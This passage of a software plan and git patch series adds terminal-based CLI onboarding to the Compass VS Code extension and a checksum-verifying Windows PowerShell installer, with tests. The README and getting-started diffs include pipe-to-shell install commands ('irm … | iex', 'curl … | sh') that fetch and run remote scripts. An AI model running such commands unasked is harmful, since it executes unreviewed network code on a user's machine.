type CliOnboardingDependencies = { + runtime: CompassRuntime; + configuration(): vscode.WorkspaceConfiguration; + selectExisting(): Promise; + initializeRepository(): Promise; + refresh(): Promise; + discover(): Promise; + resolveCommand(): Promise; + pollIntervalMs?: number; + pollTimeoutMs?: number; +}; +``` + +The production defaults are 750 ms polling and 120 seconds timeout. Implement: + +1. initial discovery; if found, activate it and show ready; +2. fixed command resolution and ready-to-install/unsupported hydration; +3. terminal creation as `{ name: "Compass Setup", shellPath }`; +4. `terminal.show(false)` before execution; +5. a bounded wait for `terminal.shellIntegration`; +6. `shellIntegration.executeCommand(command)` plus exact execution-identity + completion when available; +7. `terminal.sendText(command, true)` plus discovery polling otherwise; +8. verification through `discover()` followed by `runtime.activate()`; +9. terminal-close, panel-dispose, timeout, nonzero exit, no-executable, and + incompatible-executable recovery states; and +10. listener/timer disposal without closing the terminal. + +Never accept a command from `OnboardingToHostMessageSchema`. The parsed +`install` intent always uses the already resolved host command. + +- [ ] **Step 4: Implement the webview adapter** + +Create `webviews/onboarding.tsx` following `webviews/initialize.tsx`. Render +`CliOnboarding`, translate host callbacks into the seven bounded message types, +validate incoming host state with `HostToOnboardingMessageSchema`, and send +`{ type: "ready" }` after the first render. + +Add the entry point in `esbuild.mjs`: + +```js +entryPoints: { + graph: "src/webviews/graph.tsx", + callGraph: "src/webviews/callGraph.tsx", + callGraphGuide: "src/webviews/callGraphGuide.tsx", + architecture: "src/webviews/architecture.tsx", + query: "src/webviews/query.tsx", + history: "src/webviews/history.tsx", + initialize: "src/webviews/initialize.tsx", + onboarding: "src/webviews/onboarding.tsx" +} +``` + +Use the existing local `viewer.css` and nonce-only CSP in the panel HTML. + +- [ ] **Step 5: Add implementation-following tests** + +Cover command selection for macOS, Linux, Windows `pwsh`, Windows PowerShell +fallback, Windows without PowerShell, and an unsupported platform. + +Cover message schemas by accepting exactly the seven intents and every host +state, then rejecting extra fields, oversized values, shell text, URLs, and +unbounded searched arrays. + +In `cliOnboardingPanel.test.ts`, inject a fake terminal/event host and assert: + +- the terminal is shown before command execution; +- shell-integration completion is filtered by terminal and execution identity; +- exit code zero enters discovery and activation; +- nonzero exit preserves the terminal and shows retry; +- no shell integration sends text and polls until discovery succeeds; +- timeout and terminal closure dispose polling; +- panel disposal does not dispose the terminal; and +- duplicate install intents create only one active execution. + +- [ ] **Step 6: Run focused verification** + +```bash +npm run test -w editors/vscode -- \ + src/install/command.test.ts \ + src/install/messages.test.ts \ + src/views/cliOnboardingPanel.test.ts +npm run typecheck -w editors/vscode +npm run build -w editors/vscode +test -s editors/vscode/dist/webviews/onboarding.js +git diff --check -- editors/vscode/src/install \ + editors/vscode/src/views/cliOnboardingPanel.ts \ + editors/vscode/src/webviews/onboarding.tsx \ + editors/vscode/esbuild.mjs +``` + +Expected: focused tests and typecheck pass; the onboarding webview bundle is +nonempty. + +- [ ] **Step 7: Commit the terminal onboarding deliverable** + +```bash +git add editors/vscode/src/install \ + editors/vscode/src/views/cliOnboardingPanel.ts \ + editors/vscode/src/views/cliOnboardingPanel.test.ts \ + editors/vscode/src/webviews/onboarding.tsx \ + editors/vscode/esbuild.mjs +git commit -m "feat(vscode): install Compass in the integrated terminal" +``` + +### Task 5: Extension Entry Points and No-Reload Handoff + +**Files:** +- Modify: `editors/vscode/src/extension.ts` +- Modify: `editors/vscode/src/views/treeModel.ts` +- Modify: `editors/vscode/src/views/treeModel.test.ts` +- Modify: `editors/vscode/src/test/suite/extension.integration.ts` +- Modify: `editors/vscode/package.json` +- Modify: `editors/vscode/README.md` +- Modify: `editors/vscode/CHANGELOG.md` + +**Interfaces:** +- Consumes: `CompassRuntime`, `openCliOnboardingPanel`, the existing repository + selector, and the existing initialization command. +- Produces: `compass.installCli`, missing-CLI onboarding entry points, and + no-reload activation for manual CLI selection. + +- [ ] **Step 1: Instantiate and subscribe the runtime** + +In `activate`, keep the initial discovery and shared process manager, then add: + +```ts +const runtime = new CompassRuntime(discovery, { + processes, + sessions: () => registry.all(), + persistCliPath: async (path) => { + await vscode.workspace.getConfiguration("compass").update( + "cliPath", + path, + vscode.ConfigurationTarget.Global + ); + } +}); +const workspaceTree = new WorkspaceTree(registry, () => runtime.discovery); +context.subscriptions.push(runtime.onDidChange(() => { + workspaceTree.refresh(); + statusBar.refresh(); +})); +``` + +Move `statusBar` creation before registering the subscription, or register the +listener immediately after both view objects exist. + +- [ ] **Step 2: Activate selected CLIs without reloading** + +Replace the current `compass.cliPath` update plus **Reload Window** prompt in +`selectCompassBinary` with: + +```ts +try { + const activated = await runtime.activate(installation); + await refresh(); + void vscode.window.showInformationMessage( + `Compass ${activated.installation.version ?? activated.capabilities.compass_version} ` + + `is ready at ${activated.installation.executable}.` + ); +} catch (error) { + void vscode.window.showErrorMessage( + `Compass CLI could not be activated: ${message(error)}` + ); +} +``` + +Keep browse/manual inspection and the explicit unverified-binary warning, but +do not publish any executable that fails runtime capability validation. + +- [ ] **Step 3: Register and route the onboarding command** + +Register: + +```ts +vscode.commands.registerCommand("compass.installCli", () => + openCliOnboardingPanel(context, { + runtime, + configuration: () => vscode.workspace.getConfiguration("compass"), + selectExisting: selectCompassBinary, + initializeRepository: async () => { + await vscode.commands.executeCommand("compass.initialize"); + }, + refresh, + discover: () => discoverCompass(vscode.workspace.getConfiguration("compass")), + resolveCommand: () => resolveInstallCommand(process.platform, process.env) + }) +) +``` + +Change the missing startup notification to: + +```ts +void vscode.window.showInformationMessage( + "Install Compass to build and explore a local code graph.", + "Install Compass", + "Select existing CLI" +).then(async (action) => { + if (action === "Install Compass") { + await vscode.commands.executeCommand("compass.installCli"); + } else if (action === "Select existing CLI") { + await vscode.commands.executeCommand("compass.selectCli"); + } +}); +``` + +- [ ] **Step 4: Update the Workspace tree entry** + +Change the missing branch in `cliAttentionNodes` to: + +```ts +return [{ + id: "cli-setup", + label: "Set up Compass", + description: "Not installed", + tooltip: "Install Compass or select an existing CLI to continue.", + icon: "rocket", + command: "compass.installCli" +}]; +``` + +Leave the incompatible branch routed to `compass.selectCli`. + +- [ ] **Step 5: Contribute the command and onboarding copy** + +Add this command to `package.json`: + +```json +{ + "command": "compass.installCli", + "title": "Compass: Install CLI", + "icon": "$(cloud-download)" +} +``` + +Change the walkthrough's CLI step to: + +```json +{ + "id": "compass.cli", + "title": "Install the Compass CLI", + "description": "Open **Compass: Install CLI** to install Compass in the integrated terminal, or select an existing executable." +} +``` + +Because the file already contains the user's uncommitted `0.1.7` version +change, preserve that worktree value. After applying the command and +walkthrough changes, temporarily change only the version line back to the HEAD +value with `apply_patch`: + +```diff +- "version": "0.1.7", ++ "version": "0.1.6", +``` + +Stage `editors/vscode/package.json`, then immediately restore the worktree +version with `apply_patch`: + +```diff +- "version": "0.1.6", ++ "version": "0.1.7", +``` + +The index will contain the feature changes with the original `0.1.6` version, +while the worktree retains the user's `0.1.7` change. Confirm the cached diff +contains no version hunk before committing. + +- [ ] **Step 6: Update user-facing extension documentation** + +Add an `0.1.7` changelog section: + +```markdown +## 0.1.7 + +- Add first-run Compass CLI installation in a visible VS Code terminal on + macOS, Linux, and Windows. +- Verify and activate installed or manually selected CLIs without reloading the + editor. +``` + +Update `editors/vscode/README.md` requirements and Workspace sections to +describe **Set up Compass**, the exact-command preview, visible terminal, +automatic verification, and **Initialize repository** handoff. + +- [ ] **Step 7: Add entry-point regression tests** + +Update `treeModel.test.ts` to expect: + +```ts +expect(missing[0]).toMatchObject({ + label: "Set up Compass", + description: "Not installed", + command: "compass.installCli" +}); +``` + +Add `"compass.installCli"` to the integration test's required command list. +Retain the incompatible assertion for `compass.selectCli`. + +- [ ] **Step 8: Run focused verification** + +```bash +npm run test -w editors/vscode -- \ + src/views/treeModel.test.ts +npm run typecheck -w editors/vscode +npm run test:integration -w editors/vscode +git diff --check -- editors/vscode +``` + +Expected: tree, typecheck, and extension-host command registration pass. + +- [ ] **Step 9: Commit the extension wiring** + +Stage all task files plus the already prepared package manifest index entry: + +```bash +git add editors/vscode/src/extension.ts \ + editors/vscode/src/views/treeModel.ts \ + editors/vscode/src/views/treeModel.test.ts \ + editors/vscode/src/test/suite/extension.integration.ts \ + editors/vscode/README.md editors/vscode/CHANGELOG.md +git diff --cached --check +git diff --cached -- editors/vscode/package.json +git commit -m "feat(vscode): guide missing CLI users through setup" +``` + +Expected before the commit: the cached package diff contains the command and +walkthrough changes but no version change. + +After commit: + +```bash +git diff -- editors/vscode/package.json +``` + +Expected: only the pre-existing `0.1.6` to `0.1.7` version change remains +unstaged. + +### Task 6: Packaging, Full Regression, and Release Readiness + +**Files:** +- Modify: `editors/vscode/scripts/smoke-vsix.mjs` + +**Interfaces:** +- Consumes: all previous task deliverables. +- Produces: a smoke-verified VSIX containing the onboarding page and no native + Compass executable. + +- [ ] **Step 1: Require the onboarding bundle in VSIX smoke verification** + +Add this path to the `required` array: + +```js +"extension/dist/webviews/onboarding.js", +``` + +Keep the existing rejection: + +```js +if (entries.some((entry) => entry === "extension/compass" || entry === "extension/compass.exe")) { + throw new Error("VSIX must not bundle the native Compass CLI"); +} +``` + +- [ ] **Step 2: Run all JavaScript and extension checks** + +```bash +npm run typecheck:js +npm run test:js +npm run test:integration -w editors/vscode +node scripts/check_viewer_assets.mjs +npm run build:vscode +npm run package -w editors/vscode +npm run smoke:vsix -w editors/vscode +``` + +Expected: every command exits zero and the VSIX smoke output names the current +package filename. + +- [ ] **Step 3: Run installer and repository hygiene checks** + +```bash +sh scripts/test_release_scripts.sh +git diff --check +git status --short +``` + +Expected: + +- release script tests pass; +- no whitespace errors; +- the only unrelated worktree entries are the pre-existing package version + hunk and unrelated untracked plans; +- no Compass binary appears in the VSIX; and +- no Graphify command has been run. + +- [ ] **Step 4: Inspect the user journey in an Extension Development Host** + +Launch the extension: + +```bash +code --extensionDevelopmentPath="$PWD/editors/vscode" +``` + +With `compass.cliPath` cleared and Compass absent from the test host: + +1. confirm the Workspace row says **Set up Compass — Not installed**; +2. open the onboarding page and confirm the exact command is visible; +3. select **Install Compass** and confirm **Compass Setup** is visible before + execution; +4. confirm installing and verifying states announce progress; +5. confirm ready shows the actual version and absolute path; +6. select **Initialize repository** and confirm the existing scope wizard + opens; +7. repeat with a deliberately failing release URL and confirm terminal-preserved + recovery; +8. repeat binary selection and confirm no VS Code reload prompt appears; and +9. confirm light, dark, high-contrast, and 320-pixel-wide layouts remain usable. + +- [ ] **Step 5: Commit smoke coverage** + +```bash +git add editors/vscode/scripts/smoke-vsix.mjs +git commit -m "test(vscode): smoke-check CLI onboarding assets" +``` + +- [ ] **Step 6: Review the complete implementation diff** + +```bash +git log --oneline --decorate -8 +git diff HEAD~6..HEAD --stat +git status --short +``` + +Confirm every design requirement maps to a committed task, the uncommitted +`0.1.7` version change remains owned by the user, unrelated untracked plans +remain untouched, and no required work is left. From 7c33387cf31a2f35d5e1fc56d4f8bce9559d6f7e Mon Sep 17 00:00:00 2001 From: forhappy Date: Mon, 27 Jul 2026 22:01:46 -0700 Subject: [PATCH 06/25] feat: add official Windows Compass installer --- .github/workflows/compass-ci.yml | 8 ++ .github/workflows/compass-release.yml | 1 + README.md | 14 ++- docs/getting-started.md | 21 +++++ scripts/install.ps1 | 78 +++++++++++++++++ scripts/test_install_ps1.ps1 | 120 ++++++++++++++++++++++++++ scripts/test_release_scripts.sh | 2 + 7 files changed, 240 insertions(+), 4 deletions(-) create mode 100644 scripts/install.ps1 create mode 100644 scripts/test_install_ps1.ps1 diff --git a/.github/workflows/compass-ci.yml b/.github/workflows/compass-ci.yml index e5dfc0dd..98ddc5f1 100644 --- a/.github/workflows/compass-ci.yml +++ b/.github/workflows/compass-ci.yml @@ -140,6 +140,14 @@ jobs: - name: Native tests run: cargo test --workspace --lib --bins --locked --target ${{ matrix.target }} + - name: Test PowerShell installer + if: runner.os == 'Windows' + shell: pwsh + run: | + cargo build --release --locked -p compass-cli --bin compass --target ${{ matrix.target }} + ./scripts/test_install_ps1.ps1 ` + -CompassBinary "target/${{ matrix.target }}/release/compass.exe" + dependency-audit: runs-on: ubuntu-24.04 steps: diff --git a/.github/workflows/compass-release.yml b/.github/workflows/compass-release.yml index 4f488ec4..ee125b95 100644 --- a/.github/workflows/compass-release.yml +++ b/.github/workflows/compass-release.yml @@ -132,3 +132,4 @@ jobs: files: | dist/* scripts/install.sh + scripts/install.ps1 diff --git a/README.md b/README.md index 4b9ea981..8965df60 100644 --- a/README.md +++ b/README.md @@ -116,10 +116,16 @@ curl --proto '=https' --tlsv1.2 -LsSf \ https://github.com/crabbuild/compass/releases/latest/download/install.sh | sh ``` -On Windows, download the x86_64 or ARM64 archive and matching `.sha256` -file from the [latest release](https://github.com/crabbuild/compass/releases/latest), -verify the checksum, extract it, and add the directory containing -`compass.exe` to `PATH`. +On Windows x64 or ARM64, run the checksum-verifying PowerShell installer: + +```powershell +irm https://github.com/crabbuild/compass/releases/latest/download/install.ps1 | iex +``` + +For an offline install, download the matching archive and `.sha256` file from +the [latest release](https://github.com/crabbuild/compass/releases/latest), +verify the checksum, extract it, and add the directory containing `compass.exe` +to `PATH`. Or build from source with the pinned Rust 1.97.1+ toolchain: diff --git a/docs/getting-started.md b/docs/getting-started.md index cfe49705..cbcf0100 100644 --- a/docs/getting-started.md +++ b/docs/getting-started.md @@ -70,6 +70,27 @@ The macOS release is unsigned and not notarized. Read the release notes and [security policy](../SECURITY.md) before using an installer in a controlled environment. +### Install a Windows release + +On Windows x64 or ARM64, the PowerShell installer downloads the matching +archive, verifies its SHA-256 checksum, and installs `compass.exe` into +`~/.local/bin` by default: + +```powershell +irm https://github.com/crabbuild/compass/releases/latest/download/install.ps1 | iex +``` + +To use another user-writable directory, download `install.ps1` and run: + +```powershell +$env:COMPASS_INSTALL_DIR = "$PWD\bin" +.\install.ps1 +``` + +The matching archive and `.sha256` file on the +[latest release](https://github.com/crabbuild/compass/releases/latest) remain +available for offline installation. + ### Build from source The repository pins Rust 1.97.1 in `rust-toolchain.toml`: diff --git a/scripts/install.ps1 b/scripts/install.ps1 new file mode 100644 index 00000000..03d67a7c --- /dev/null +++ b/scripts/install.ps1 @@ -0,0 +1,78 @@ +$ErrorActionPreference = "Stop" +Set-StrictMode -Version Latest + +$Repository = if ($env:COMPASS_REPOSITORY) { + $env:COMPASS_REPOSITORY +} else { + "crabbuild/compass" +} +$ReleaseBaseUrl = if ($env:COMPASS_RELEASE_BASE_URL) { + $env:COMPASS_RELEASE_BASE_URL.TrimEnd("/") +} else { + "https://github.com/$Repository/releases/latest/download" +} +$InstallDir = if ($env:COMPASS_INSTALL_DIR) { + $env:COMPASS_INSTALL_DIR +} else { + Join-Path $HOME ".local\bin" +} +$ArchitectureName = if ($env:COMPASS_INSTALL_ARCH) { + $env:COMPASS_INSTALL_ARCH +} else { + try { + [System.Runtime.InteropServices.RuntimeInformation]::OSArchitecture.ToString() + } catch { + $env:PROCESSOR_ARCHITECTURE + } +} +$Target = switch ($ArchitectureName.ToLowerInvariant()) { + "x64" { "x86_64-pc-windows-msvc" } + "amd64" { "x86_64-pc-windows-msvc" } + "arm64" { "aarch64-pc-windows-msvc" } + default { throw "unsupported Windows architecture: $ArchitectureName" } +} + +$Name = "compass-$Target" +$Archive = "$Name.tar.gz" +$Checksum = "$Archive.sha256" +$Temporary = Join-Path ([System.IO.Path]::GetTempPath()) "compass-install-$([guid]::NewGuid())" + +try { + New-Item -ItemType Directory -Path $Temporary | Out-Null + Invoke-WebRequest -UseBasicParsing -Uri "$ReleaseBaseUrl/$Archive" ` + -OutFile (Join-Path $Temporary $Archive) + Invoke-WebRequest -UseBasicParsing -Uri "$ReleaseBaseUrl/$Checksum" ` + -OutFile (Join-Path $Temporary $Checksum) + + $Expected = ((Get-Content (Join-Path $Temporary $Checksum) -Raw).Trim() ` + -split "\s+")[0].ToLowerInvariant() + if ($Expected -notmatch "^[0-9a-f]{64}$") { + throw "invalid SHA-256 file for $Archive" + } + $Actual = (Get-FileHash (Join-Path $Temporary $Archive) -Algorithm SHA256).Hash ` + .ToLowerInvariant() + if ($Actual -ne $Expected) { + throw "checksum verification failed for $Archive" + } + + & tar.exe -xzf (Join-Path $Temporary $Archive) -C $Temporary + if ($LASTEXITCODE -ne 0) { + throw "failed to extract $Archive" + } + $Source = Join-Path $Temporary "$Name\compass.exe" + if (-not (Test-Path -LiteralPath $Source -PathType Leaf)) { + throw "release archive does not contain $Name\compass.exe" + } + + New-Item -ItemType Directory -Force -Path $InstallDir | Out-Null + $Destination = Join-Path $InstallDir "compass.exe" + $Staged = Join-Path $InstallDir "compass.exe.new" + Copy-Item -LiteralPath $Source -Destination $Staged -Force + Move-Item -LiteralPath $Staged -Destination $Destination -Force + Write-Output "Installed Compass to $Destination" + if (($env:PATH -split [System.IO.Path]::PathSeparator) -notcontains $InstallDir) { + Write-Output "Add $InstallDir to PATH before running compass from a new shell." + } +} finally { + Remove-Item -LiteralPath $Temporary -Recurse -Force -ErrorAction SilentlyContinue +} diff --git a/scripts/test_install_ps1.ps1 b/scripts/test_install_ps1.ps1 new file mode 100644 index 00000000..4a8ad056 --- /dev/null +++ b/scripts/test_install_ps1.ps1 @@ -0,0 +1,120 @@ +param( + [string]$CompassBinary +) + +$ErrorActionPreference = "Stop" +Set-StrictMode -Version Latest + +$RepoRoot = Split-Path -Parent $PSScriptRoot +$TestRoot = Join-Path ([System.IO.Path]::GetTempPath()) "compass-install-test-$([guid]::NewGuid())" +$ReleaseDir = Join-Path $TestRoot "release" +$Server = $null +$SavedBaseUrl = $env:COMPASS_RELEASE_BASE_URL +$SavedInstallDir = $env:COMPASS_INSTALL_DIR +$SavedArchitecture = $env:COMPASS_INSTALL_ARCH + +function Write-FixtureArchive { + param( + [string]$Target, + [string]$Payload + ) + $Name = "compass-$Target" + $Bundle = Join-Path $TestRoot $Name + New-Item -ItemType Directory -Force -Path $Bundle | Out-Null + $Executable = Join-Path $Bundle "compass.exe" + if ($CompassBinary) { + Copy-Item -LiteralPath $CompassBinary -Destination $Executable + } else { + [System.IO.File]::WriteAllText($Executable, $Payload) + } + $Archive = Join-Path $ReleaseDir "$Name.tar.gz" + & tar.exe -czf $Archive -C $TestRoot $Name + if ($LASTEXITCODE -ne 0) { + throw "failed to create fixture archive for $Target" + } + $Hash = (Get-FileHash $Archive -Algorithm SHA256).Hash.ToLowerInvariant() + [System.IO.File]::WriteAllText("$Archive.sha256", "$Hash $Name.tar.gz`n") + Remove-Item -LiteralPath $Bundle -Recurse -Force + return $Executable +} + +try { + New-Item -ItemType Directory -Force -Path $ReleaseDir | Out-Null + Write-FixtureArchive "x86_64-pc-windows-msvc" "fixture-x64" | Out-Null + Write-FixtureArchive "aarch64-pc-windows-msvc" "fixture-arm64" | Out-Null + + $Listener = [System.Net.Sockets.TcpListener]::new( + [System.Net.IPAddress]::Loopback, + 0 + ) + $Listener.Start() + $Port = ([System.Net.IPEndPoint]$Listener.LocalEndpoint).Port + $Listener.Stop() + $Server = Start-Process python -ArgumentList @( + "-m", "http.server", "$Port", "--bind", "127.0.0.1" + ) -WorkingDirectory $ReleaseDir -PassThru -WindowStyle Hidden + $BaseUrl = "http://127.0.0.1:$Port" + for ($Attempt = 0; $Attempt -lt 50; $Attempt++) { + try { + Invoke-WebRequest -UseBasicParsing -Uri $BaseUrl | Out-Null + break + } catch { + if ($Attempt -eq 49) { + throw "fixture release server did not start" + } + Start-Sleep -Milliseconds 100 + } + } + + foreach ($Case in @( + @{ Architecture = "x64"; Target = "x86_64-pc-windows-msvc" }, + @{ Architecture = "arm64"; Target = "aarch64-pc-windows-msvc" } + )) { + $InstallDir = Join-Path $TestRoot "install-$($Case.Target)" + $env:COMPASS_RELEASE_BASE_URL = $BaseUrl + $env:COMPASS_INSTALL_DIR = $InstallDir + $env:COMPASS_INSTALL_ARCH = $Case.Architecture + & (Join-Path $RepoRoot "scripts\install.ps1") + $Installed = Join-Path $InstallDir "compass.exe" + if (-not (Test-Path -LiteralPath $Installed -PathType Leaf)) { + throw "installer did not publish $Installed" + } + if ($CompassBinary) { + $ExpectedHash = (Get-FileHash $CompassBinary -Algorithm SHA256).Hash + $ActualHash = (Get-FileHash $Installed -Algorithm SHA256).Hash + if ($ActualHash -ne $ExpectedHash) { + throw "installed fixture does not match the source binary" + } + } + } + + $BadChecksum = Join-Path $ReleaseDir ` + "compass-x86_64-pc-windows-msvc.tar.gz.sha256" + [System.IO.File]::WriteAllText( + $BadChecksum, + "$("0" * 64) compass-x86_64-pc-windows-msvc.tar.gz`n" + ) + $env:COMPASS_INSTALL_ARCH = "x64" + $env:COMPASS_INSTALL_DIR = Join-Path $TestRoot "checksum-must-fail" + $Failed = $false + try { + & (Join-Path $RepoRoot "scripts\install.ps1") + } catch { + $Failed = $true + } + if (-not $Failed) { + throw "installer accepted a bad checksum" + } + if (Test-Path -LiteralPath (Join-Path $env:COMPASS_INSTALL_DIR "compass.exe")) { + throw "installer published a binary after checksum failure" + } + Write-Output "PowerShell installer tests passed" +} finally { + if ($Server -and -not $Server.HasExited) { + Stop-Process -Id $Server.Id -Force -ErrorAction SilentlyContinue + } + $env:COMPASS_RELEASE_BASE_URL = $SavedBaseUrl + $env:COMPASS_INSTALL_DIR = $SavedInstallDir + $env:COMPASS_INSTALL_ARCH = $SavedArchitecture + Remove-Item -LiteralPath $TestRoot -Recurse -Force -ErrorAction SilentlyContinue +} diff --git a/scripts/test_release_scripts.sh b/scripts/test_release_scripts.sh index b8edb1f2..9f90b80f 100755 --- a/scripts/test_release_scripts.sh +++ b/scripts/test_release_scripts.sh @@ -2,6 +2,8 @@ set -eu repo_root=$(CDPATH= cd -- "$(dirname -- "$0")/.." && pwd) +test -f "$repo_root/scripts/install.sh" +test -f "$repo_root/scripts/install.ps1" test_root=$(mktemp -d) trap 'rm -rf "$test_root"' EXIT HUP INT TERM mkdir -p "$test_root/fake-checksum-bin" From dcefddd5b499ed38641c03f06e797e966c875c7a Mon Sep 17 00:00:00 2001 From: forhappy Date: Mon, 27 Jul 2026 22:03:43 -0700 Subject: [PATCH 07/25] feat(vscode): activate verified Compass CLIs live --- editors/vscode/src/cli/processManager.test.ts | 26 +++ editors/vscode/src/cli/processManager.ts | 18 +- editors/vscode/src/cli/runtime.test.ts | 174 ++++++++++++++++++ editors/vscode/src/cli/runtime.ts | 94 ++++++++++ editors/vscode/src/extension.ts | 2 +- editors/vscode/src/views/workspaceTree.ts | 4 +- 6 files changed, 313 insertions(+), 5 deletions(-) create mode 100644 editors/vscode/src/cli/runtime.test.ts create mode 100644 editors/vscode/src/cli/runtime.ts diff --git a/editors/vscode/src/cli/processManager.test.ts b/editors/vscode/src/cli/processManager.test.ts index 092195b6..6986f666 100644 --- a/editors/vscode/src/cli/processManager.test.ts +++ b/editors/vscode/src/cli/processManager.test.ts @@ -64,6 +64,32 @@ describe("CompassProcessManager", () => { }); }); + it("switches future launches to an activated executable", () => { + const first = childProcess(); + const second = childProcess(); + const spawn = vi.fn() + .mockReturnValueOnce(first.child) + .mockReturnValueOnce(second.child); + const processes = new CompassProcessManager("compass", spawn as never); + + processes.startCommand("/repo", ["--version"]); + processes.useExecutable("/home/dev/.local/bin/compass"); + processes.startCommand("/repo", ["capabilities", "--format", "json"]); + + expect(processes.executablePath).toBe("/home/dev/.local/bin/compass"); + expect(spawn.mock.calls.map(([file]) => file)).toEqual([ + "compass", + "/home/dev/.local/bin/compass" + ]); + }); + + it("rejects an empty executable path", () => { + const processes = new CompassProcessManager("compass"); + expect(() => processes.useExecutable(" ")) + .toThrow("Compass executable path cannot be empty"); + expect(processes.executablePath).toBe("compass"); + }); + it("rejects malformed JSONL progress instead of throwing outside the command", async () => { const { child, stdout } = childProcess(); const processes = new CompassProcessManager( diff --git a/editors/vscode/src/cli/processManager.ts b/editors/vscode/src/cli/processManager.ts index 7918a1ad..2df4db8b 100644 --- a/editors/vscode/src/cli/processManager.ts +++ b/editors/vscode/src/cli/processManager.ts @@ -14,10 +14,24 @@ export type RunningCommand = { }; export class CompassProcessManager { + private executable: string; + constructor( - private readonly executable: string, + executable: string, private readonly spawn: Spawn = nodeSpawn - ) {} + ) { + this.executable = executable; + } + + get executablePath(): string { + return this.executable; + } + + useExecutable(executable: string): void { + const next = executable.trim(); + if (!next) throw new Error("Compass executable path cannot be empty"); + this.executable = next; + } run(cwd: string, args: readonly string[], signal?: AbortSignal): Promise { const command = this.startCommand(cwd, args); diff --git a/editors/vscode/src/cli/runtime.test.ts b/editors/vscode/src/cli/runtime.test.ts new file mode 100644 index 00000000..bdc672cc --- /dev/null +++ b/editors/vscode/src/cli/runtime.test.ts @@ -0,0 +1,174 @@ +import { describe, expect, it, vi } from "vitest"; +import type { CapabilityReport } from "./contracts"; +import type { CompassDiscovery, CompassInstallation } from "./discovery"; +import { CompassProcessManager } from "./processManager"; +import { CompassRuntime } from "./runtime"; +import type { RepositorySession } from "../workspace/repositorySession"; + +const capabilities: CapabilityReport = { + schema: "compass.ide.capabilities/1", + compass_version: "0.1.7", + contracts: { + progress: "compass.ide.progress/1", + graph_viewer: "compass.viewer.graph/1", + call_graph: "compass.call_graph/1", + callflow_viewer: "compass.viewer.callflow/1", + history_timeline: "compass.history.timeline/1", + history_change_counts: "compass.history.change_counts/1", + history_viewer_graph: "compass.history.viewer_graph/1" + }, + features: { + init: true, + update: true, + watch: true, + graph: true, + call_graph: true, + query: true, + history: true + } +}; + +const missing: CompassDiscovery = { + kind: "missing", + installations: [], + searched: ["/usr/bin/compass"] +}; + +const installation: CompassInstallation = { + executable: "/home/dev/.local/bin/compass", + version: "0.1.7", + source: "common" +}; + +function session(overrides: Partial = {}): RepositorySession { + return { + root: "/repo", + capabilities: undefined, + capabilityError: "not negotiated", + activeWriter: undefined, + watch: undefined, + ...overrides + } as RepositorySession; +} + +describe("CompassRuntime", () => { + it("verifies, persists, publishes, and notifies in one activation", async () => { + const processes = new CompassProcessManager("compass"); + const repository = session(); + const persistCliPath = vi.fn(async () => {}); + const runJson = vi.fn(async () => capabilities); + const runtime = new CompassRuntime(missing, { + processes, + sessions: () => [repository], + persistCliPath, + createCandidateProcesses: () => ({ runJson }) as never + }); + const listener = vi.fn(); + runtime.onDidChange(listener); + + await expect(runtime.activate(installation)).resolves.toEqual({ + installation, + capabilities + }); + + expect(runJson).toHaveBeenCalledWith( + "/repo", + ["capabilities", "--format", "json"], + expect.anything() + ); + expect(persistCliPath).toHaveBeenCalledWith(installation.executable); + expect(processes.executablePath).toBe(installation.executable); + expect(repository.capabilities).toBe(capabilities); + expect(repository.capabilityError).toBeUndefined(); + expect(runtime.discovery).toMatchObject({ + kind: "found", + executable: installation.executable, + version: "0.1.7", + installations: [installation] + }); + expect(listener).toHaveBeenCalledOnce(); + }); + + it("rejects incompatible capabilities without mutating runtime state", async () => { + const processes = new CompassProcessManager("compass"); + const repository = session(); + const persistCliPath = vi.fn(async () => {}); + const runtime = new CompassRuntime(missing, { + processes, + sessions: () => [repository], + persistCliPath, + createCandidateProcesses: () => ({ + runJson: vi.fn(async () => ({ + ...capabilities, + features: { ...capabilities.features, history: false } + })) + }) as never + }); + + await expect(runtime.activate(installation)).rejects.toThrow( + "does not advertise the 'history' feature" + ); + expect(persistCliPath).not.toHaveBeenCalled(); + expect(processes.executablePath).toBe("compass"); + expect(repository.capabilities).toBeUndefined(); + expect(runtime.discovery).toBe(missing); + }); + + it("rejects switching while a writer or watcher is active", async () => { + const running = { + operationId: "active-operation", + completed: Promise.resolve({ code: 0, stdout: "", stderr: "" }), + cancel: vi.fn() + }; + for (const active of [ + { activeWriter: running }, + { watch: running } + ]) { + const candidate = vi.fn(); + const runtime = new CompassRuntime(missing, { + processes: new CompassProcessManager("compass"), + sessions: () => [session(active)], + persistCliPath: vi.fn(async () => {}), + createCandidateProcesses: candidate + }); + + await expect(runtime.activate(installation)).rejects.toThrow( + "Stop active Compass builds and watchers" + ); + expect(candidate).not.toHaveBeenCalled(); + } + }); + + it("deduplicates the activated path and fills a missing version", async () => { + const previous: CompassDiscovery = { + kind: "found", + executable: "/opt/compass", + version: "0.1.6", + installations: [ + { ...installation, version: undefined }, + { + executable: "/opt/compass", + version: "0.1.6", + source: "path" + } + ], + searched: [installation.executable, "/opt/compass"] + }; + const runtime = new CompassRuntime(previous, { + processes: new CompassProcessManager("/opt/compass"), + sessions: () => [], + persistCliPath: vi.fn(async () => {}), + createCandidateProcesses: () => ({ + runJson: vi.fn(async () => capabilities) + }) as never + }); + + const activated = await runtime.activate({ ...installation, version: undefined }); + + expect(activated.installation.version).toBe("0.1.7"); + expect(runtime.discovery.installations.map((item) => item.executable)).toEqual([ + installation.executable, + "/opt/compass" + ]); + }); +}); diff --git a/editors/vscode/src/cli/runtime.ts b/editors/vscode/src/cli/runtime.ts new file mode 100644 index 00000000..1bcbbb90 --- /dev/null +++ b/editors/vscode/src/cli/runtime.ts @@ -0,0 +1,94 @@ +import { COMPASS_REQUIREMENTS, compatibilityIssue } from "./compatibility"; +import { CapabilityReportSchema, type CapabilityReport } from "./contracts"; +import type { CompassDiscovery, CompassInstallation } from "./discovery"; +import { CompassProcessManager } from "./processManager"; +import type { RepositorySession } from "../workspace/repositorySession"; + +type CapabilityRunner = Pick; + +export type ActivatedCompass = { + installation: CompassInstallation; + capabilities: CapabilityReport; +}; + +export type CompassRuntimeDependencies = { + processes: CompassProcessManager; + sessions(): readonly RepositorySession[]; + persistCliPath(executable: string): Promise; + createCandidateProcesses?(executable: string): CapabilityRunner; +}; + +export class CompassRuntime { + private current: CompassDiscovery; + private readonly listeners = new Set<() => void>(); + + constructor( + discovery: CompassDiscovery, + private readonly dependencies: CompassRuntimeDependencies + ) { + this.current = discovery; + } + + get discovery(): CompassDiscovery { + return this.current; + } + + onDidChange(listener: () => void): { dispose(): 